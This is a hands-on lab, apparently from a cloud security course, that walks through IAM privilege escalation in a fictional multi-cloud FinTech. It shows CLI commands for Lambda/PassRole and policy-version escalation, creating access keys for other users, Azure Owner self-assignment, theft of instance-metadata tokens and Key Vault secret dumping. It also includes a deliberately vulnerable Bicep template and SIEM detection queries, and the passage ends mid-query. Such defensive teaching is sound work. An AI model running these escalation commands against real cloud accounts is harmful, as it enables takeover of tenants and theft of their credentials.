Skip to content

Lab 17: Cloud IAM Privilege Escalation

Chapters: 20 — Cloud Attack & Defense, 33 — Identity & Access Security, 39 — Zero Trust Implementation, 46 — Cloud & Container Red Teaming Difficulty: ⭐⭐⭐⭐ Expert Estimated Time: 5–7 hours Prerequisites: Chapters 20, 33, 39, and 46; basic familiarity with AWS CLI, Azure CLI (az), and Google Cloud CLI (gcloud); understanding of JSON policy documents and Terraform HCL


Overview

In this lab you will:

  1. Analyze AWS IAM policies to discover over-permissive roles and dangerous policy combinations
  2. Exploit Azure AD privilege escalation paths through service principal abuse (in a synthetic environment)
  3. Investigate GCP IAM binding misconfigurations and custom role abuse patterns
  4. Examine cross-cloud identity federation attack surfaces
  5. Implement IAM hardening controls and least-privilege remediation across all three clouds

By the end of this lab, you will understand how attackers enumerate and exploit IAM misconfigurations, how to detect these techniques in your SIEM, and how to architect IAM policies that follow the principle of least privilege.

Synthetic Data Only

All data in this lab is 100% synthetic and fictional. All IP addresses use RFC 5737 (192.0.2.0/24, 198.51.100.0/24, 203.0.113.0/24) or RFC 1918 (10.0.0.0/8, 172.16.0.0/12) reserved ranges. All account IDs, tenant IDs, project IDs, ARNs, and credentials are fabricated. No real cloud accounts, real users, or real organizations are referenced.

Defense-Focused Education

This lab teaches privilege escalation techniques exclusively for defensive purposes. Understanding how attackers exploit IAM misconfigurations is essential for building effective detection rules, hardening policies, and conducting purple team exercises. Never use these techniques against systems you do not own or have explicit written authorization to test.


Scenario

Engagement Brief — CyberVault Technologies

Organization: CyberVault Technologies (fictional) Industry: Financial Technology (FinTech) Cloud Strategy: Multi-cloud (AWS primary, Azure for identity/M365, GCP for ML workloads) AWS Account ID: 111122223333 (SYNTHETIC) Azure Tenant ID: a1b2c3d4-e5f6-7890-abcd-ef1234567890 (SYNTHETIC) GCP Project ID: cybervault-prod-2026 (SYNTHETIC) Internal Domain: cybervault.example.com External IP Range: 192.0.2.0/24 (SYNTHETIC — RFC 5737) VPN Endpoint: 198.51.100.1 (SYNTHETIC — RFC 5737) Jump Server: 203.0.113.10 (SYNTHETIC — RFC 5737)

Background: CyberVault Technologies is a mid-size FinTech company that recently underwent rapid cloud migration. During the migration, multiple teams created IAM roles, service accounts, and service principals with varying levels of rigor. The CISO has engaged your purple team to assess IAM posture across all three cloud providers, identify privilege escalation paths, and recommend remediation.

Rules of Engagement:

  • All testing is conducted in isolated sandbox accounts
  • No production data access
  • All findings reported within 48 hours
  • Synthetic credentials only — never real keys

Certification Relevance

Certification Mapping

This lab maps to objectives in the following certifications:

Certification Relevant Domains
AWS Certified Security — Specialty (SCS-C02) Domain 2: Identity and Access Management (20%), Domain 3: Infrastructure Protection
Microsoft AZ-500: Azure Security Technologies Manage identity and access (25–30%), Manage security operations (25–30%)
Google Professional Cloud Security Engineer Managing identity and access management, Ensuring compliance
CompTIA CySA+ (CS0-003) Domain 2: Vulnerability Management, Domain 4: Incident Response
CCSP (Certified Cloud Security Professional) Domain 2: Cloud Data Security, Domain 3: Cloud Platform & Infrastructure Security

Lab Architecture

The following diagram illustrates the multi-cloud environment for CyberVault Technologies:

┌──────────────────────────────────────────────────────────────────────────┐
│                    CyberVault Technologies — Multi-Cloud                │
│                                                                        │
│  ┌───────────────────┐  ┌───────────────────┐  ┌──────────────────┐   │
│  │   AWS (Primary)    │  │   Azure (Identity) │  │  GCP (ML/Data)   │   │
│  │                   │  │                   │  │                  │   │
│  │  Account:         │  │  Tenant:          │  │  Project:        │   │
│  │  111122223333     │  │  a1b2c3d4-e5f6... │  │  cybervault-prod │   │
│  │                   │  │                   │  │                  │   │
│  │  ┌─────────────┐ │  │  ┌─────────────┐ │  │  ┌────────────┐ │   │
│  │  │ IAM Roles   │ │  │  │ Service     │ │  │  │ Service    │ │   │
│  │  │ - LambdaExec│ │  │  │ Principals  │ │  │  │ Accounts   │ │   │
│  │  │ - EC2Admin  │ │  │  │ - AppSP-01  │ │  │  │ - ml-train │ │   │
│  │  │ - DevOpsRole│ │  │  │ - AutoDeploy│ │  │  │ - data-pipe│ │   │
│  │  │ - DataSciRol│ │  │  │ - LegacyApp │ │  │  │ - api-svc  │ │   │
│  │  └─────────────┘ │  │  └─────────────┘ │  │  └────────────┘ │   │
│  │                   │  │                   │  │                  │   │
│  │  ┌─────────────┐ │  │  ┌─────────────┐ │  │  ┌────────────┐ │   │
│  │  │ S3 Buckets  │ │  │  │ Key Vaults  │ │  │  │ GCS Buckets│ │   │
│  │  │ - configs   │ │  │  │ - secrets   │ │  │  │ - ml-models│ │   │
│  │  │ - logs      │ │  │  │ - certs     │ │  │  │ - datasets │ │   │
│  │  │ - backups   │ │  │  │             │ │  │  │            │ │   │
│  │  └─────────────┘ │  │  └─────────────┘ │  │  └────────────┘ │   │
│  └───────────────────┘  └───────────────────┘  └──────────────────┘   │
│                                                                        │
│  ┌──────────────────────────────────────────────────────────────┐      │
│  │              Cross-Cloud Federation                          │      │
│  │   AWS STS ←→ Azure AD OIDC ←→ GCP Workload Identity        │      │
│  └──────────────────────────────────────────────────────────────┘      │
└──────────────────────────────────────────────────────────────────────────┘

MITRE ATT&CK Mapping

This lab exercises the following ATT&CK techniques:

ATT&CK ID Technique Sub-Technique Lab Exercise
T1078 Valid Accounts T1078.004 — Cloud Accounts Exercises 1–4
T1098 Account Manipulation T1098.001 — Additional Cloud Credentials Exercises 1, 2, 3
T1098 Account Manipulation T1098.003 — Additional Cloud Roles Exercises 2, 3
T1548 Abuse Elevation Control Mechanism T1548.005 — Temporary Elevated Cloud Access Exercises 1, 4
T1087 Account Discovery T1087.004 — Cloud Account Exercises 1, 2, 3
T1069 Permission Groups Discovery T1069.003 — Cloud Groups Exercises 1, 2, 3
T1580 Cloud Infrastructure Discovery Exercises 1–4
T1136 Create Account T1136.003 — Cloud Account Exercise 2
T1484 Domain or Tenant Policy Modification T1484.002 — Trust Modification Exercise 4
T1550 Use Alternate Authentication Material T1550.001 — Application Access Token Exercise 4

Exercise 1: AWS IAM Policy Analysis & Over-Permissive Role Discovery

Objective

Enumerate IAM policies in a synthetic AWS environment, identify over-permissive roles, discover privilege escalation paths through policy analysis, and build detection rules for IAM enumeration activity.

Prerequisites

  • AWS CLI v2 installed and configured with a synthetic profile
  • Python 3.10+ with boto3 and json modules
  • Access to a SIEM (Splunk or Microsoft Sentinel free tier) for detection rule testing
  • Completion of Chapter 20 — Cloud Attack & Defense

Scenario

During the initial reconnaissance phase, your purple team has obtained credentials for a low-privilege developer account (dev-intern@cybervault.example.com) in the CyberVault AWS environment. Your task is to enumerate the IAM landscape, identify over-permissive policies, and discover escalation paths — then build detections for each step.

Synthetic Credentials

All credentials below are 100% synthetic. Never use real AWS access keys in lab exercises.

AWS_ACCESS_KEY_ID=AKIAIOSFODNN7SYNTHETIC
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYSYNTHETICKEY
AWS_DEFAULT_REGION=us-east-1

Step 1: IAM User and Role Enumeration

Begin by enumerating your own identity and permissions, then expand to discover other IAM entities.

# Step 1.1: Verify current identity
aws sts get-caller-identity

# Expected output (SYNTHETIC):
# {
#     "UserId": "AIDAIOSFODNN7SYNTHETIC",
#     "Account": "111122223333",
#     "Arn": "arn:aws:iam::111122223333:user/dev-intern"
# }

# Step 1.2: List all IAM users (if permitted)
aws iam list-users --output table

# Step 1.3: List all IAM roles
aws iam list-roles --query 'Roles[*].[RoleName,Arn,CreateDate]' --output table

# Step 1.4: List all policies attached to your user
aws iam list-attached-user-policies --user-name dev-intern

# Step 1.5: List inline policies
aws iam list-user-policies --user-name dev-intern

# Step 1.6: Get the policy document for each attached policy
aws iam get-policy-version \
  --policy-arn arn:aws:iam::111122223333:policy/DevInternPolicy \
  --version-id v1
Expected Output: DevInternPolicy (SYNTHETIC)
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "AllowIAMReadOnly",
                    "Effect": "Allow",
                    "Action": [
                        "iam:List*",
                        "iam:Get*",
                        "iam:GenerateCredentialReport",
                        "iam:GenerateServiceLastAccessedDetails"
                    ],
                    "Resource": "*"
                },
                {
                    "Sid": "AllowS3ReadDev",
                    "Effect": "Allow",
                    "Action": [
                        "s3:GetObject",
                        "s3:ListBucket"
                    ],
                    "Resource": [
                        "arn:aws:s3:::cybervault-dev-configs",
                        "arn:aws:s3:::cybervault-dev-configs/*"
                    ]
                },
                {
                    "Sid": "AllowPassRole",
                    "Effect": "Allow",
                    "Action": "iam:PassRole",
                    "Resource": "arn:aws:iam::111122223333:role/*"
                },
                {
                    "Sid": "AllowLambdaFull",
                    "Effect": "Allow",
                    "Action": "lambda:*",
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2026-01-15T10:30:00Z"
    }
}

Escalation Path Identified

The DevInternPolicy contains a critical privilege escalation path:

  1. iam:PassRole on arn:aws:iam::111122223333:role/* — allows passing ANY role to an AWS service
  2. lambda:* on * — allows creating Lambda functions with any execution role

Combined, these permissions allow the dev-intern user to:

  • Create a Lambda function
  • Pass an admin-level execution role to that function
  • Execute the function to perform privileged actions

This is CWE-269: Improper Privilege Management and maps to MITRE ATT&CK T1548.005.

Step 2: Discover Over-Permissive Roles

Enumerate all roles and analyze their trust policies and attached permissions.

# Step 2.1: List all roles with their trust policies
aws iam list-roles --query 'Roles[*].[RoleName,AssumeRolePolicyDocument]' --output json

# Step 2.2: Examine the LambdaExecutionRole (high-privilege target)
aws iam get-role --role-name CyberVault-LambdaAdmin-Role

# Step 2.3: List policies on the target role
aws iam list-attached-role-policies --role-name CyberVault-LambdaAdmin-Role
Expected Output: CyberVault-LambdaAdmin-Role Trust Policy (SYNTHETIC)
{
    "Role": {
        "RoleName": "CyberVault-LambdaAdmin-Role",
        "RoleId": "AROAIOSFODNN7SYNTHETIC",
        "Arn": "arn:aws:iam::111122223333:role/CyberVault-LambdaAdmin-Role",
        "AssumeRolePolicyDocument": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Effect": "Allow",
                    "Principal": {
                        "Service": "lambda.amazonaws.com"
                    },
                    "Action": "sts:AssumeRole"
                }
            ]
        },
        "MaxSessionDuration": 3600,
        "CreateDate": "2025-11-20T08:15:00Z"
    }
}
# Step 2.4: Get the permissions policy on the target role
aws iam get-policy-version \
  --policy-arn arn:aws:iam::111122223333:policy/CyberVault-AdminAccess \
  --version-id v1
Expected Output: CyberVault-AdminAccess Policy (SYNTHETIC)
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "FullAdminAccess",
                    "Effect": "Allow",
                    "Action": "*",
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2025-11-20T08:20:00Z"
    }
}

Critical Finding

The CyberVault-LambdaAdmin-Role has full administrative access (Action: *, Resource: *). Any Lambda function executing with this role has unrestricted access to the entire AWS account. Combined with the dev-intern user's iam:PassRole and lambda:* permissions, this creates a direct privilege escalation path from low-privilege developer to full administrator.

Step 3: Simulate the Privilege Escalation

Purple Team Exercise

This step simulates the attack in a controlled manner. In a real engagement, this would be performed only with explicit authorization and in an isolated sandbox account.

# Step 3.1: Create a Lambda function that uses the admin role
# First, create the function code
cat > /tmp/escalation_test.py << 'PYEOF'
import boto3
import json

def lambda_handler(event, context):
    """
    SYNTHETIC privilege escalation test function.
    In a real attack, this would perform admin actions.
    For this lab, we only enumerate what we CAN do.
    """
    sts = boto3.client('sts')
    identity = sts.get_caller_identity()

    iam = boto3.client('iam')
    # Attempt to list all users (admin action)
    users = iam.list_users()

    return {
        'statusCode': 200,
        'body': json.dumps({
            'escalated_identity': identity['Arn'],
            'user_count': len(users['Users']),
            'message': 'SYNTHETIC - Privilege escalation successful'
        })
    }
PYEOF

# Step 3.2: Package the function
cd /tmp && zip escalation_test.zip escalation_test.py

# Step 3.3: Create the Lambda function with the admin role
aws lambda create-function \
  --function-name escalation-test-SYNTHETIC \
  --runtime python3.11 \
  --role arn:aws:iam::111122223333:role/CyberVault-LambdaAdmin-Role \
  --handler escalation_test.lambda_handler \
  --zip-file fileb://escalation_test.zip \
  --timeout 30

# Step 3.4: Invoke the function
aws lambda invoke \
  --function-name escalation-test-SYNTHETIC \
  --payload '{}' \
  /tmp/escalation_output.json

# Step 3.5: View the result
cat /tmp/escalation_output.json
Expected Output (SYNTHETIC)
{
    "statusCode": 200,
    "body": {
        "escalated_identity": "arn:aws:iam::111122223333:role/CyberVault-LambdaAdmin-Role",
        "user_count": 47,
        "message": "SYNTHETIC - Privilege escalation successful"
    }
}

Step 4: Additional AWS Escalation Paths

Beyond the Lambda + PassRole path, review these other common AWS IAM escalation vectors:

Escalation Path: iam:CreatePolicyVersion

An attacker with iam:CreatePolicyVersion can create a new version of an existing policy with elevated permissions and set it as the default.

# Create an overpermissive policy version (SYNTHETIC)
aws iam create-policy-version \
  --policy-arn arn:aws:iam::111122223333:policy/DevInternPolicy \
  --policy-document '{
    "Version": "2012-10-17",
    "Statement": [{
      "Effect": "Allow",
      "Action": "*",
      "Resource": "*"
    }]
  }' \
  --set-as-default

Detection: Alert when CreatePolicyVersion is called with --set-as-default and the new policy document contains "Action": "*".

Escalation Path: iam:AttachUserPolicy

An attacker with iam:AttachUserPolicy can attach the AWS-managed AdministratorAccess policy to their own user.

# Attach admin policy to self (SYNTHETIC)
aws iam attach-user-policy \
  --user-name dev-intern \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Detection: Alert when any user attaches AdministratorAccess or any policy with "Action": "*" to any principal.

Escalation Path: iam:CreateAccessKey

An attacker with iam:CreateAccessKey for other users can generate access keys for higher-privilege users.

# Create access key for another user (SYNTHETIC)
aws iam create-access-key --user-name cloud-admin

# Expected output (SYNTHETIC):
# {
#     "AccessKey": {
#         "UserName": "cloud-admin",
#         "AccessKeyId": "AKIAIOSFODNN7SYNTHKEY",
#         "Status": "Active",
#         "SecretAccessKey": "SYNTHETICsecretKEY1234567890abcdefghijk"
#     }
# }

Detection: Alert when CreateAccessKey is called for a user other than the caller's own identity.

Escalation Path: sts:AssumeRole with Overly Broad Trust

Roles with "Principal": {"AWS": "*"} in their trust policy can be assumed by any AWS principal, including cross-account attackers.

{
    "Version": "2012-10-17",
    "Statement": [{
        "Effect": "Allow",
        "Principal": {"AWS": "*"},
        "Action": "sts:AssumeRole"
    }]
}

Detection: Continuously scan role trust policies for wildcard principals.

Step 5: Detection Queries

KQL (Microsoft Sentinel / Azure Data Explorer)

// Detect IAM enumeration activity in AWS CloudTrail
AWSCloudTrail
| where TimeGenerated > ago(1h)
| where EventName in (
    "ListUsers", "ListRoles", "ListPolicies",
    "GetPolicy", "GetPolicyVersion", "GetRole",
    "ListAttachedUserPolicies", "ListAttachedRolePolicies",
    "ListUserPolicies", "ListRolePolicies"
)
| summarize
    EnumerationCount = count(),
    ActionsPerformed = make_set(EventName),
    SourceIPs = make_set(SourceIpAddress)
    by UserIdentityArn, bin(TimeGenerated, 5m)
| where EnumerationCount > 10
| extend AlertSeverity = case(
    EnumerationCount > 50, "High",
    EnumerationCount > 20, "Medium",
    "Low"
)
| project TimeGenerated, UserIdentityArn, EnumerationCount,
          ActionsPerformed, SourceIPs, AlertSeverity
| order by EnumerationCount desc
// Detect Lambda-based privilege escalation
AWSCloudTrail
| where EventName == "CreateFunction20150331"
| extend RequestParams = parse_json(RequestParameters)
| extend FunctionRole = tostring(RequestParams.role)
| join kind=inner (
    AWSCloudTrail
    | where EventName == "PassRole"
    | extend PassedRole = tostring(parse_json(RequestParameters).roleArn)
) on $left.UserIdentityArn == $right.UserIdentityArn
| where FunctionRole contains "Admin" or FunctionRole contains "admin"
| project TimeGenerated, UserIdentityArn, FunctionRole,
          SourceIpAddress, UserAgent
// Detect suspicious policy modifications
AWSCloudTrail
| where EventName in (
    "CreatePolicyVersion", "AttachUserPolicy",
    "AttachRolePolicy", "PutUserPolicy", "PutRolePolicy",
    "CreateAccessKey"
)
| extend RequestParams = parse_json(RequestParameters)
| extend TargetArn = coalesce(
    tostring(RequestParams.policyArn),
    tostring(RequestParams.userName),
    tostring(RequestParams.roleName)
)
| where UserIdentityArn != TargetArn // Cross-principal modifications
| project TimeGenerated, EventName, UserIdentityArn,
          TargetArn, SourceIpAddress, AWSRegion
| order by TimeGenerated desc

SPL (Splunk)

# Detect IAM enumeration activity in AWS CloudTrail
index=aws sourcetype=aws:cloudtrail
  eventName IN ("ListUsers", "ListRoles", "ListPolicies",
                "GetPolicy", "GetPolicyVersion", "GetRole",
                "ListAttachedUserPolicies", "ListAttachedRolePolicies")
| stats count as enumeration_count,
        values(eventName) as actions_performed,
        values(sourceIPAddress) as source_ips,
        earliest(_time) as first_seen,
        latest(_time) as last_seen
    by userIdentity.arn
| where enumeration_count > 10
| eval severity=case(
    enumeration_count > 50, "HIGH",
    enumeration_count > 20, "MEDIUM",
    1=1, "LOW")
| sort - enumeration_count
# Detect Lambda-based privilege escalation
index=aws sourcetype=aws:cloudtrail
  eventName="CreateFunction20150331"
| spath output=function_role path=requestParameters.role
| search function_role="*Admin*" OR function_role="*admin*"
| join userIdentity.arn [
    search index=aws sourcetype=aws:cloudtrail eventName="PassRole"
    | spath output=passed_role path=requestParameters.roleArn
]
| table _time, userIdentity.arn, function_role, sourceIPAddress, userAgent
# Detect access key creation for other users
index=aws sourcetype=aws:cloudtrail eventName="CreateAccessKey"
| spath output=target_user path=requestParameters.userName
| spath output=caller_user path=userIdentity.userName
| where target_user != caller_user
| eval alert_msg="Access key created for " . target_user . " by " . caller_user
| table _time, caller_user, target_user, sourceIPAddress, alert_msg

ATT&CK Technique Deep Dive

Technique How It Applies Detection Signal
T1078.004 — Valid Accounts: Cloud Accounts Attacker uses legitimate dev-intern credentials Unusual login location, time, or user agent
T1087.004 — Account Discovery: Cloud Account IAM enumeration via List* and Get* calls High volume of IAM read API calls in short window
T1098.001 — Additional Cloud Credentials Creating access keys for other users CreateAccessKey for non-self users
T1548.005 — Temp Elevated Cloud Access Lambda + PassRole privilege escalation CreateFunction + PassRole for admin role

Discussion Questions

  1. Policy Design: How would you redesign the DevInternPolicy to allow the developer to work with Lambda functions without creating a privilege escalation path? What is the minimum set of iam:PassRole permissions needed?

  2. Detection Gaps: The detection queries above focus on CloudTrail events. What additional data sources (VPC Flow Logs, GuardDuty, Access Analyzer) would improve detection coverage?

  3. Preventive Controls: How would AWS IAM Access Analyzer, SCPs (Service Control Policies), and Permission Boundaries have prevented this escalation path?

  4. Blast Radius: If the attacker successfully escalated to admin via Lambda, what would be the most damaging actions they could take in the CyberVault AWS environment? How would you contain the incident?

  5. Automation: How would you automate the scanning of IAM policies for dangerous permission combinations like PassRole + lambda:*? Consider tools like cloudsplaining, Parliament, or custom scripts.


Exercise 2: Azure AD Privilege Escalation via Service Principal Abuse

Objective

Discover and exploit misconfigured Azure AD service principals to escalate from a low-privilege application identity to a high-privilege role, then build detection and hardening controls.

Prerequisites

Scenario

CyberVault Technologies uses Azure AD as their identity provider. During a routine audit, you discover that several service principals were created during the cloud migration with excessive permissions. Your task is to enumerate these service principals, identify escalation paths, and recommend remediation.

Synthetic Environment

All Azure AD object IDs, tenant IDs, subscription IDs, and credentials below are 100% synthetic. These resources do not exist in any real Azure tenant.

AZURE_TENANT_ID=a1b2c3d4-e5f6-7890-abcd-ef1234567890
AZURE_SUBSCRIPTION_ID=f9e8d7c6-b5a4-3210-fedc-ba9876543210
AZURE_CLIENT_ID=11111111-2222-3333-4444-555555555555
AZURE_CLIENT_SECRET=SYNTHETIC~secret~value~do~not~use~in~production

Step 1: Service Principal Enumeration

# Step 1.1: Login with the low-privilege service principal (SYNTHETIC)
az login --service-principal \
  --username 11111111-2222-3333-4444-555555555555 \
  --password "SYNTHETIC~secret~value~do~not~use~in~production" \
  --tenant a1b2c3d4-e5f6-7890-abcd-ef1234567890

# Step 1.2: Get current identity context
az account show --output json

# Step 1.3: List all service principals in the tenant
az ad sp list --all --query '[].{DisplayName:displayName, AppId:appId, Id:id}' --output table
Expected Output: Service Principal List (SYNTHETIC)
DisplayName              AppId                                 Id
-----------------------  ------------------------------------  ------------------------------------
CyberVault-WebApp        11111111-2222-3333-4444-555555555555  aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee
CyberVault-AutoDeploy    22222222-3333-4444-5555-666666666666  bbbbbbbb-cccc-dddd-eeee-ffffffffffff
CyberVault-LegacySync    33333333-4444-5555-6666-777777777777  cccccccc-dddd-eeee-ffff-000000000000
CyberVault-MLPipeline    44444444-5555-6666-7777-888888888888  dddddddd-eeee-ffff-0000-111111111111
CyberVault-BackupAgent   55555555-6666-7777-8888-999999999999  eeeeeeee-ffff-0000-1111-222222222222

Step 2: Analyze Service Principal Permissions

# Step 2.1: Check Azure AD role assignments for each SP
az rest --method GET \
  --url "https://graph.microsoft.com/v1.0/directoryRoles" \
  --query "value[].{RoleName:displayName, RoleId:id}"

# Step 2.2: List role assignments for AutoDeploy SP
az role assignment list \
  --assignee 22222222-3333-4444-5555-666666666666 \
  --all --output table

# Step 2.3: Check Microsoft Graph API permissions
az ad app show --id 22222222-3333-4444-5555-666666666666 \
  --query "requiredResourceAccess"
Expected Output: AutoDeploy SP Role Assignments (SYNTHETIC)
Principal                        Role                    Scope
------------------------------   ----------------------  -----------------------------------------------
CyberVault-AutoDeploy            Contributor             /subscriptions/f9e8d7c6-b5a4-3210-fedc-ba9876543210
CyberVault-AutoDeploy            User Access Admin       /subscriptions/f9e8d7c6-b5a4-3210-fedc-ba9876543210

Escalation Path: User Access Administrator

The CyberVault-AutoDeploy service principal has the User Access Administrator role at the subscription level. This role allows the SP to:

  • Grant itself or any other principal Owner access to any resource
  • Modify RBAC role assignments across the entire subscription
  • Effectively escalate to full administrative control

This is a critical misconfiguration. The User Access Administrator role should never be granted to automation service principals without strict Conditional Access policies and monitoring.

Step 3: Enumerate Application Credentials

# Step 3.1: Check for additional credential material on the AutoDeploy SP
az ad app credential list --id 22222222-3333-4444-5555-666666666666 --output table
Expected Output: AutoDeploy Credentials (SYNTHETIC)
CustomKeyIdentifier    DisplayName          EndDateTime                  KeyId                                 StartDateTime                Hint
---------------------  -------------------  ---------------------------  ------------------------------------  ---------------------------  ----
None                   AutoDeploy-Key-1     2027-01-15T00:00:00Z         99999999-aaaa-bbbb-cccc-dddddddddddd  2026-01-15T00:00:00Z         SYN
None                   LegacyKey-DONOTUSE   2028-06-30T00:00:00Z         88888888-aaaa-bbbb-cccc-dddddddddddd  2024-06-30T00:00:00Z         OLD

Finding: Long-Lived Credentials

The LegacyKey-DONOTUSE credential has a 4-year validity period (2024–2028). Long-lived credentials are a significant security risk. Best practice is to use managed identities where possible and rotate credentials every 90 days maximum.

Step 4: Simulate Service Principal Privilege Escalation

# Step 4.1: Login as the AutoDeploy SP (assume we obtained its credentials)
az login --service-principal \
  --username 22222222-3333-4444-5555-666666666666 \
  --password "SYNTHETIC~autodeploy~credential~REDACTED" \
  --tenant a1b2c3d4-e5f6-7890-abcd-ef1234567890

# Step 4.2: Grant ourselves Owner role (privilege escalation)
az role assignment create \
  --assignee 22222222-3333-4444-5555-666666666666 \
  --role "Owner" \
  --scope "/subscriptions/f9e8d7c6-b5a4-3210-fedc-ba9876543210"

# Expected output (SYNTHETIC):
# {
#   "principalId": "bbbbbbbb-cccc-dddd-eeee-ffffffffffff",
#   "roleDefinitionId": "/subscriptions/f9e8d7c6.../providers/Microsoft.Authorization/roleDefinitions/8e3af657-a8ff-443c-a75c-2fe8c4bcb635",
#   "scope": "/subscriptions/f9e8d7c6-b5a4-3210-fedc-ba9876543210"
# }

# Step 4.3: Verify escalation
az role assignment list \
  --assignee 22222222-3333-4444-5555-666666666666 \
  --all --output table

Step 5: Azure AD Role Abuse Paths

Beyond RBAC roles, Azure AD directory roles present additional escalation vectors.

Escalation Path: Application Administrator to Global Admin

An Application Administrator can:

  1. Add credentials to any application registration
  2. If an application has high-privilege Graph API permissions (e.g., RoleManagement.ReadWrite.Directory), the attacker can use those permissions
  3. Use the Graph API to assign the Global Administrator role to a controlled account
# Add a new credential to a high-privilege app (SYNTHETIC)
az ad app credential reset \
  --id 33333333-4444-5555-6666-777777777777 \
  --display-name "Attacker-Credential-SYNTHETIC" \
  --years 1

# Use the new credential to login as that app
az login --service-principal \
  --username 33333333-4444-5555-6666-777777777777 \
  --password "SYNTHETIC~new~credential~REDACTED" \
  --tenant a1b2c3d4-e5f6-7890-abcd-ef1234567890

# If the app has RoleManagement.ReadWrite.Directory:
# Assign Global Admin to a controlled user (SYNTHETIC)
az rest --method POST \
  --url "https://graph.microsoft.com/v1.0/directoryRoles/roleTemplateId=62e90394-69f5-4237-9190-012177145e10/members/\$ref" \
  --body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee"}'
Escalation Path: Managed Identity Abuse

Azure VMs with system-assigned managed identities can be exploited if an attacker gains VM access.

# From inside a compromised Azure VM (SYNTHETIC)
# Query the Instance Metadata Service (IMDS) for tokens
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
  | python3 -m json.tool

# Expected output (SYNTHETIC):
# {
#     "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiSYNTHETIC...",
#     "client_id": "66666666-7777-8888-9999-aaaaaaaaaaaa",
#     "expires_in": "86399",
#     "resource": "https://management.azure.com/",
#     "token_type": "Bearer"
# }

# Use the token to access Azure Resource Manager
curl -s -H "Authorization: Bearer eyJ0eXAiOiJKV1QiSYNTHETIC..." \
  "https://management.azure.com/subscriptions/f9e8d7c6-b5a4-3210-fedc-ba9876543210/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01"
Escalation Path: Azure Key Vault Secrets Access

A service principal with Key Vault Secrets Officer on a Key Vault containing other service principal credentials can chain access.

# List secrets in Key Vault (SYNTHETIC)
az keyvault secret list \
  --vault-name cybervault-secrets-kv \
  --output table

# Retrieve a secret (SYNTHETIC)
az keyvault secret show \
  --vault-name cybervault-secrets-kv \
  --name AutoDeploy-ClientSecret \
  --query value --output tsv

# Output (SYNTHETIC): SYNTHETIC~autodeploy~credential~from~keyvault

Step 6: ARM Template for Reproducing the Vulnerable Configuration

The following ARM/Bicep template reproduces the misconfigured environment for lab testing.

// SYNTHETIC - Lab environment only - DO NOT deploy to production
// File: lab17-vulnerable-sp.bicep

@description('SYNTHETIC lab environment for IAM escalation testing')
param location string = 'eastus'

@description('Service principal object ID (SYNTHETIC)')
param spObjectId string = 'bbbbbbbb-cccc-dddd-eeee-ffffffffffff'

// Dangerous: Granting User Access Administrator to a service principal
resource uaaRoleAssignment 'Microsoft.Authorization/roleAssignments@2022-04-01' = {
  name: guid(subscription().id, spObjectId, 'UserAccessAdmin-SYNTHETIC')
  properties: {
    roleDefinitionId: subscriptionResourceId(
      'Microsoft.Authorization/roleDefinitions',
      '18d7d88d-d35e-4fb5-a5c3-7773c20a72d9'  // User Access Administrator
    )
    principalId: spObjectId
    principalType: 'ServicePrincipal'
  }
}

// Also dangerous: Contributor role at subscription scope
resource contributorRoleAssignment 'Microsoft.Authorization/roleAssignments@2022-04-01' = {
  name: guid(subscription().id, spObjectId, 'Contributor-SYNTHETIC')
  properties: {
    roleDefinitionId: subscriptionResourceId(
      'Microsoft.Authorization/roleDefinitions',
      'b24988ac-6180-42a0-ab88-20f7382dd24c'  // Contributor
    )
    principalId: spObjectId
    principalType: 'ServicePrincipal'
  }
}

Intentionally Vulnerable

The above Bicep template is intentionally vulnerable for lab purposes. In production, service principals should follow least privilege and never receive User Access Administrator at the subscription level.

Step 7: Detection Queries

KQL (Microsoft Sentinel)

// Detect service principal privilege escalation via role assignment changes
AzureActivity
| where OperationNameValue == "Microsoft.Authorization/roleAssignments/write"
| extend Properties = parse_json(Properties_d)
| extend
    Caller = tostring(Properties.caller),
    RoleDefinitionId = tostring(Properties.roleDefinitionId),
    PrincipalId = tostring(Properties.principalId),
    Scope = tostring(Properties.scope)
| where RoleDefinitionId has_any (
    "8e3af657-a8ff-443c-a75c-2fe8c4bcb635",  // Owner
    "18d7d88d-d35e-4fb5-a5c3-7773c20a72d9",  // User Access Administrator
    "b24988ac-6180-42a0-ab88-20f7382dd24c"   // Contributor
)
| project TimeGenerated, Caller, OperationNameValue,
          RoleDefinitionId, PrincipalId, Scope, SourceSystem
| order by TimeGenerated desc
// Detect service principal credential additions
AuditLogs
| where OperationName == "Add service principal credentials"
| extend InitiatedBy = tostring(InitiatedBy.app.displayName)
| extend TargetApp = tostring(TargetResources[0].displayName)
| extend ModifiedProperty = tostring(TargetResources[0].modifiedProperties)
| project TimeGenerated, InitiatedBy, TargetApp,
          ModifiedProperty, CorrelationId
| order by TimeGenerated desc
// Detect suspicious Azure AD directory role assignments
AuditLogs
| where OperationName == "Add member to role"
| extend Role = tostring(TargetResources[0].displayName)
| extend AddedMember = tostring(TargetResources[0].userPrincipalName)
| extend InitiatedBy = coalesce(
    tostring(InitiatedBy.user.userPrincipalName),
    tostring(InitiatedBy.app.displayName)
)
| where Role in ("Global Administrator", "Privileged Role Administrator",
                  "Application Administrator", "Cloud Application Administrator")
| project TimeGenerated, InitiatedBy, Role, AddedMember, CorrelationId

SPL (Splunk)

# Detect Azure role assignment modifications
index=azure sourcetype="azure:activity"
  operationName.value="Microsoft.Authorization/roleAssignments/write"
| spath output=caller path=properties.caller
| spath output=role_def path=properties.roleDefinitionId
| spath output=principal_id path=properties.principalId
| spath output=scope path=properties.scope
| search role_def IN ("*8e3af657*", "*18d7d88d*", "*b24988ac*")
| eval role_name=case(
